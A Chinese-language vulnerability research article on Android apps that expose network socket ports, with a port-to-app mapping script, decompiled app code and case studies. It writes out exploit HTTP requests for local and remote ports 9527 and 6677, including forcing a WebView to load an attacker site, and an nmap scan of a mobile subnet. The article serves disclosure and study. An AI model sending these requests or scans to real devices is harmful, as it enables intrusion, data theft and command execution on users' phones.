Android應用通常使用PF_UNIX、PF_INET、PF_NETLINK
等不同domain的socket來進行本地IPC或者遠程網絡通信,這些暴露的socket代表了潛在的本地或遠程攻擊面,歷史上也出現過不少利用socket進行拒絕服務、root提權或者遠程命令執行的案例。特別是PF_INET
類型的網絡socket,可以通過網絡與Android應用通信,其原本用于linux環境下開放網絡服務,由于缺乏對網絡調用者身份或者本地調用者pid、permission等細粒度的安全檢查機制,在實現不當的情況下,可以突破Android的沙箱限制,以被攻擊應用的權限執行命令,通常出現比較嚴重的漏洞。作為Android安全研究的新手,筆者帶著傳統服務器滲透尋找開放socket端口的思路,竟然也刷了不少漏洞,下面就對這種漏洞的發現、案例及影響進行歸納。
簡單地利用命令netstat就可以發現Android開放了許多socket端口,如圖。但這些開放端口本后的應用卻不得而知。
此時可以通過三步定位法進行尋找([email protected]帖子),支持非root手機。
第一步,利用netstat尋找感興趣的開放socket端口,如圖中的15555。
第二步,將端口轉換為十六進制值,查看位于/proc/net/目錄下對應的socket套接字狀態文件,在其中找到使用該socket的應用的uid。如15555的十六進制表示為1cc3,協議類型為tcp6,那么查看/proc/net/tcp6文件。
注意上面的10115,就是使用該socket的應用的uid。通過這個uid可以得知應用的用戶名為u0_a115。
第三步,根據用戶名就可以找到應用了
至此,我們就知道開放15555端口的應用為com.qiyi.video,盡管我們還不能分辨出開放該端口的準確進程,但仍然為進一步的漏洞挖掘打下基礎。
寫一個簡單的腳本來自動化的完成此項工作.
#!python
import subprocess,re
def toHexPort(port):
hexport = str(hex(int(port)))
return hexport.strip('0x').upper()
def finduid(protocol, entry):
if (protocol=='tcp' or protocol=='tcp6'):
uid = entry.split()[-10]
else: # udp or udp6
uid = entry.split()[-6]
uid = int(uid)
if (uid > 10000): # just for non-system app
return 'u0_a'+str(uid-10000)
else:
return -1
def main():
netstat_cmd = "adb shell netstat | grep -Ei 'listen|udp*'"
#netstat_cmd = "adb shell netstat "
grep_cmd = "adb shell grep"
proc_net = "/proc/net/"
# step 1, find interesting port
orig_output = subprocess.check_output(netstat_cmd, shell=True)
list_line = orig_output.split('\r\n')
apps = []
strip_listline = []
pattern = re.compile("^Proto") # omit the first line
for line in list_line:
if (line != '') and (pattern.match(line)==None):
# step 2, find uid in /proc/net/[protocol] based on port
socket_entry = line.split()
protocol = socket_entry[0]
port = socket_entry[3].split(':')[-1]
grep_appid = grep_cmd+' '+ toHexPort(port)+' '+proc_net + protocol
net_entry = subprocess.check_output(grep_appid, shell=True)
uid = finduid(protocol, net_entry)
# step 3, find app username based on uid
if (uid == -1): continue
applist = subprocess.check_output('adb shell ps | grep '+uid, shell=True).split()
app = applist[8]
apps.append(app)
strip_listline.append(line)
itapp= iter(apps)
itline=iter(strip_listline)
# last, add app in orig_output of sockets
print ("Package Proto Recv-Q Send-Q Local Address Foreign Address State\r\n")
try:
while True:
print itapp.next()+' '+itline.next()
except StopIteration:
pass
if __name__ == '__main__':
main()
運行結果如下
除了PF_INET套接字外,PF_UNIX、PF_NETLINK套接字的狀態文件分別位于/proc/net/unix和/proc/net/netlink。
當然,如果手機已root,可直接使用busybox安裝目錄下帶p參數的netstat命令,可以顯示pid和不完整的program name。
得知某個應用開放某個端口以后,接下就可以在該應用的逆向代碼中搜索端口號(通常是端口號的16進制表示),重點關注ServerSocket(tcp)、DatagramSocket(udp)等類,定位到關鍵代碼,進一步探索潛在的攻擊面,下面列舉一些漏洞實例。
WooYun-2015-94537:某service打開udp的65502端口監聽,接收特定的命令字后可返回手機的敏感信息,包括手機助手遠程管理手機的SecretKey,進而未授權的攻擊者可通過網絡完全管理手機。
CVE-2014-8757, LG On-Screen Phone預裝App認證繞過漏洞。
這類漏洞比較常見,通常通過開放socket端口傳入啟動android應用組件的intent,然后以被攻擊應用的權限執行啟動activity、發送廣播等操作。由于通過socket傳入的intent,無法對發送者的身份和權限進行細粒度檢查,繞過了Android提供的對應用組件的權限保護,能夠啟動未導出的和受權限保護的應用組件,對安全造成影響。
如果監聽的端口是在本地,那么可能造成本地命令執行和權限提升,而如果監聽的端口是任意地址,則可能造成比較嚴重的遠程命令執行。
用前面端口應用定位的方法,發現某流行應用實現了一個小型的HTTP Server,監聽本地的9527端口,簡單搜索分析即可發現向該端口發送如下形式的HTTP請求時可執行命令。
http://127.0.0.1:9527/si?cmp=<pacakgename>_<componentname>&data=<url scheme>&act=<action name>
通過這個簡單的HTTP請求,惡意程序就可以傳入intent對象的包名、組件名、url和action,接收HTTP請求后執行命令的代碼如下:
#!java
...
if(v3.hasNext()) {
Object v6 = v3.next();
if("act".equals(v6)) {
v4.setAction(v10.b.get(v6));
}
if("cmp".equals(v6)) {
String[] v9 = v10.b.get(v6).split("_");
if(v9 == null) {
goto label_39;
}
if(v9.length != 2) {
goto label_39;
}
v4.setComponent(new ComponentName(v9[0], v9[1]));
}
label_39:
if("data".equals(v6)) {
v4.setData(Uri.parse(v10.b.get(v6)));
}
if(!"callback".equals(v6)) {
goto label_13;
}
Object v1_1 = v10.b.get(v6);
goto label_13;
}
if((TextUtils.isEmpty(v4.getAction())) && v4.getComponent() == null && v4.getData() == null) {
if(TextUtils.isEmpty(((CharSequence)v1))) {
return "{\"result\":-20000}";
}
return this.a(v1, "{\"result\":-20000}");
}
List v0 = this.a.getPackageManager().queryIntentActivities(v4, 0);
if(v0.size() == 0) {
if(TextUtils.isEmpty(((CharSequence)v1))) {
return "{\"result\":-10000}";
}
return this.a(v1, "{\"result\":-10000}");
}
try {
this.a.startActivity(v4);
}
...
最終通過HTTP請求設置的Intent對象,傳入了startActivity方法,由于需要用戶干預,危害并不大。但當packagename指定為該應用自身,componentname指定為該應用的activity時,可以啟動該應用的任意activity,包括受保護的未導出activity,從而對安全造成影響。例如,通過HTTP請求,逐一啟動若干未導出的activity,可以發現拒絕服務漏洞、對安全有影響的登錄界面和有一個可以該應用權限執行任意命令的GUI shell。
遠程命令執行:
趨勢科技曾經發現過美團客戶端漏洞,可以通過TCP的9527端口傳入intent data,進而啟動activity,見參考文獻[1]
.
遠程強制webview訪問惡意鏈接
定位到某流行應用實現了一個小型的HTTP Server,在tcp的6677端口監聽任意地址,當HTTP請求滿足一定條件時可以返回敏感信息,并根據請求消息執行一系列動作。對于該HTTP請求,僅有的防御措施是通過referer白名單的方式判斷HTTP請求的來源。在正確設置referer,發送如下HTTP GET請求后
http://ip:6677/command?param1=value1&...¶mn=valuen
可獲取手機的敏感信息和實現命令執行。其中command為getpackageinfo、androidamap、geolocation中的其一,見如下代碼片段。
(1)當command為geolocation時,可返回安裝該應用手機地理位置信息;
(2)當command為getpackageinfo時,默認返回該應用自身的版本信息。此時若指定參數param1為packagename,即請求http://ip:6677/getpackageinfo?packagename=xxx時(xxx為軟件包名)可返回手機上安裝的xxx所指定的任意軟件包版本信息。若xxx為android,可返回android系統版本信息;
(3)當command為androidamap時,設置Intent并將其廣播出去,查看對應的OnReceive方法
發現需要指定參數param1為action,即請求
http://ip:6677/androidamap?action=yyy¶m2=value2&...¶mn=valuen
時,OnReceive方法取出前面廣播intent對象的extra,新建一個intent對象,設置intent uri為
androidamap://yyy?sourceApplication=web¶m2=value2&...¶mn=valuen
并以隱式intent的形式啟動注冊這種uri scheme的activiy。
進一步搜索發現如下代碼:
#!java
Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
+ this.a.m.privilegeLink);
Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(),
NewMapActivity.class);
v1.setData(v0_2);
v1.setFlags(268435456);
MovieDetailHeaderView.c(this.a).startActivity(v1);
表明可以通過遠程HTTP GET請求如下地址
http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite
操縱安裝該app的手機繼承WebView的Activity訪問evilsite,而且這里存在WebView的漏洞,利用方式包括
(1). 竊取私有目錄下的敏感文件:遠程攻擊者或者本地惡意app可以令WebView加載file://域的惡意腳本文件,按照惡意腳本的請求,竊取該應用私有目錄下的敏感文件,突破android沙箱限制;
(2). WebView遠程命令執行:存在可被網頁中js操縱的接口jsinterface。由于該流行應用針對的SDK版本較低(android:minSdkVersion="8"
),在Android 4.4.2以下的手機,均可使用該接口,通過js注入該應用進程執行命令。
對于Android app開放socket端口漏洞的遠程利用場景,一般認為Android客戶端都在內網,其利用主要還是在非安全的公共WiFi環境,通過對漏洞特征掃描即可利用。但在傳統認為安全的移動互聯網環境,筆者發現仍然可以掃描到其他開放端口的終端,因此也可以利用這種漏洞。
敘述之前,我們先對典型的移動通信網絡架構進行簡單的科普,一般教科書上的3G網絡架構(WCDMA)如圖。
包括以下組成部分:
UE: 用戶終端設備,就是手機,為用戶提供電路域和分組域內的各種業務功能。
UTRAN: 陸地無線接入網,分為基站(Node B)和無線網絡控制器(RNC)兩部分。
CN: 核心網絡,負責與其他網絡的連接和對UE 的通信和管理。主要功能實體包括:
(1) MSC/VLR:提供CS(電路交換)域的呼叫控制、移動性管理、鑒權和加密等功能;
(2) GMSC:網關移動交換中心,充當移動網和固定網之間的移動關口局,承擔路由分析、網間接續、網間結算等重要功能;
(3) SGSN:GPRS服務支持節點,提供PS(分組交換)域的路由轉發、移動性管理、會話管理、鑒權和加密等功能;
(4) GGSN:網關GPRS支持節點,提供數據包在WCDMA 移動網和外部數據網之間的路由和封裝,GGSN就好象是可尋址WCDMA移動網絡中所有用戶IP 的路由器,需要同外部網絡交換路由信息。
(5) HLR:歸屬位置寄存器,提供用戶的簽約信息存放、新業務支持、增強的鑒權等功能。
External Networks:外部網絡,包括ISDN和PSTN等電路交換網絡,以及Internet等分組交換網絡。
簡而言之,移動通信網絡無非是大型的“局域網“,它們通過網關路由器(SGSN和GGSN)連上了Internet,進入到了互聯網的世界。但是在某些移動通信網絡的內部,不同的UE是可以互訪的。以前面某應用開放6677端口為例,我們可以做一個簡單的實驗進行證明。
使用聯通3G網絡,查看當前IP地址。
在相鄰C段進行掃描,掃描到開放端口的手機
nmap -sT --open -p6677 10.160.112.0/24
發現如下結果
這證明在移動網絡中,不同的UE可以互訪。因此如果開放上述socket端口的app存在漏洞,在移動網絡中也是可以利用的。
對于客戶端的遠程漏洞利用,從攻擊者的角度來看,通常更容易使用“受”的方法,即通過欺騙、劫持或社工的方法來讓客戶端訪問我的攻擊載荷。然而,從筆者發現的漏洞案例來看,許多Android應用不正確地使用網絡socket端口傳入命令進行跨進程通信,而且對于本地應用環境,網絡socket也先天缺乏細粒度的認證授權機制,因此把Android客戶端當做服務器,使用“攻”的方法,主動向開放端口發送攻擊載荷也是可行的。這種漏洞一旦存在,輕則本地提權,重則為遠程利用的高危漏洞,3G移動網絡允許UE互訪更是加劇了這種風險。
此外,除PF_INET外,PF_UNIX、PF_NETLINK域的套接字也是值得關注的本地攻擊面。
參考文獻:[1] http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model